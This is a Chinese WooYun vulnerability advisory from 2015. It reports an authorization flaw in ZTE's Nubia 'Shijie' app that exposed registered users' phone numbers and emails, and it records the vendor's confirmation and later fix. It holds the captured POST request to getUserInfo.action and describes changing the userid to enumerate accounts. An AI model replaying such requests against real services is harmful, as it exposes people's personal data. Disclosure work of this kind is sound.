当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-097080

漏洞标题：中兴某应用越权访问泄露数十万注册用户的电话、邮箱等

相关厂商：中兴通讯股份有限公司

漏洞作者： 深度安全实验室

提交时间：2015-02-13 11:19

修复时间：2015-03-30 11:20

公开时间：2015-03-30 11:20

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-13： 细节已通知厂商并且等待厂商处理中
2015-02-15： 厂商已经确认，细节仅向厂商公开
2015-02-25： 细节向核心白帽子及相关领域专家公开
2015-03-07： 细节向普通白帽子公开
2015-03-17： 细节向实习白帽子公开
2015-03-30： 细节向公众公开

简要描述：

中兴某应用越权访问泄露数十万注册用户的电话、邮箱等

详细说明：

中兴某应用越权访问泄露数十万注册用户的电话、邮箱等

漏洞证明：

1.中兴 努比亚 视界 应用下载地址

http://app.nubia.cn/app/5

1.png


2.随便注册一个账户，登陆时，使用Burp Suite拦截如下POST请求

POST /user/getUserInfo.action HTTP/1.1
Content-Type: multipart/form-data;boundary=ab63ad48-374a-4a4d-a086-992be646822d
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; ZTE S2015 Build/KTU84P)
Host: photo.app.nubia.cn
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 416
--ab63ad48-374a-4a4d-a086-992be646822d
Content-Disposition: form-data; name="tokenid"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
2d4a5e635bc640bc92ada2d30f70c5c08751
--ab63ad48-374a-4a4d-a086-992be646822d
Content-Disposition: form-data; name="userid"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
1243405
--ab63ad48-374a-4a4d-a086-992be646822d--


3.修改userid的值，如：1000000-1243408。单纯从userid来看，注册用户有数十万。随便修改一个userid，可以获取用户名、邮箱、手机号码等敏感信息。

5.png

6.png

4.png


4.视界真正用户数真的已经有几十万吗？

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-02-15 16:10

厂商回复：

感谢~

最新状态：

2015-05-20：漏洞已经修复。其中，2月25日到3月9日，完成安全加密机制的设计和评审。3月底完成相关方案开发。同时感谢白帽子 深度安全实验室 对努比亚产品安全的关注，稍后会安排工作发放礼品，请注意查收，谢谢！